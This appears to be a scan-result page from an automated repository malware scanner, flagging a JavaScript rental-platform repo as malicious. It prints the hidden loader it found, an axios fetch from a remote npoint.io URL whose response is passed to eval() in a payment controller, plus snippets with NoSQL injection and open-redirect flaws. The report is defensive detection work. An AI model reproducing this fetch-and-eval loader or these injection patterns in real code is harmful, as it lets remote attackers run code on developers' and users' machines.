aniketshetty1nov/Real_Estate_Rental_Platform

JavaScript·160 files·commit 25e808f·scanned 8d ago·cached ✓

90/100

MALICIOUS

Matches known-malicious patterns. Do not clone or install.

This repository contains patterns associated with malware. Do NOT run this code.

verdict accurate?

threat-state: maliciouslive

FINDINGS ░▒▓

criticaleval() usage detectedeval() executes arbitrary code and is commonly used in malware to run obfuscated payloads fetched from remote servers.server/controllers/paymentController.js

    const rs = await axios.get("https://api.npoint.io/4af1d76b30dd6240c3ce");
    eval(rs.data.cookie);
})();

infoSuspicious files are not reachable from entry pointsFlagged files exist but are not imported by any entry point. They may be dead code, tests, or attack payloads triggered by another mechanism.+2

criticalRemote code fetch + executionFetching code from a remote server and executing it with eval() is the #1 pattern in LinkedIn/crypto scam malware.server/controllers/paymentController.js+10

criticalKnown malicious / C2 domainKnown domains used by Lazarus Group and other malware for hosting payloads or exfiltrating data.server/controllers/paymentController.js+5

criticalaxios.get() + eval(response.data)Fetches remote payload via axios and executes it — the exact pattern used in LinkedIn recruiter scam malware.server/controllers/paymentController.js+10

warningPossible typosquat: git"git" is only 1 character(s) away from the popular package "got". This is a common supply-chain attack vector.package.json+4

warningPotential NoSQL injectionUser input passed directly to MongoDB query (findOne, find, updateOne) without sanitization. Attacker can inject query operators.server/controllers/userController.js

exports.forgotPassword = asyncErrorHandler(async (req, res, next) => {
  const user = await User.findOne({ email: req.body.email });

  if (!user) {

warningPotential NoSQL injectionUser input passed directly to MongoDB query (findOne, find, updateOne) without sanitization. Attacker can inject query operators.server/middlewares/validator/index.js

  // validate brand
  let brand = await ProductBrand.findOne({ slug: req.body.brand });
  if (!brand) {
    errors.push({ msg: "Invalid product brand" });

warningPotential NoSQL injectionUser input passed directly to MongoDB query (findOne, find, updateOne) without sanitization. Attacker can inject query operators.server/controllers/paymentController.js

exports.getPaymentStatus = asyncErrorHandler(async (req, res, next) => {
    const payment = await Payment.findOne({ orderId: req.params.id });

    if (!payment) {

warningOpen redirect vulnerabilityres.redirect() using unsanitized user input (req.get('host'), req.query, req.body). Can redirect victims to phishing sites.server/controllers/paymentController.js

                        addPayment(body);
                        // res.redirect(`${req.protocol}://${req.get("host")}/order/${body.orderId}`)
                        res.redirect(
                  ...

Scores are heuristics. A “safe” verdict means no known-malicious patterns were found — clever malware can look boring. Wrong verdict? Flag it above; confirmed false positives become regression tests.

84 files scanned @ 25e808f | 8/20/2026 | heuristic scan — always review manually

risk by category

code execution10

network & exfiltration25

file system access0

obfuscation0

supply chain4

owasp / injection15

telemetry

files 84/160rules hit 10engine v5commit 25e808f

github

aniketshetty1nov/Real_Estate_Rental_Platform

JavaScript

499d

160 files

84 scanned(53%)

25e808f

architecture░▒▓

entry (1) flagged (3) pkg (31)

111 nodes · 157 edgesscroll to zoom · click node to jump to finding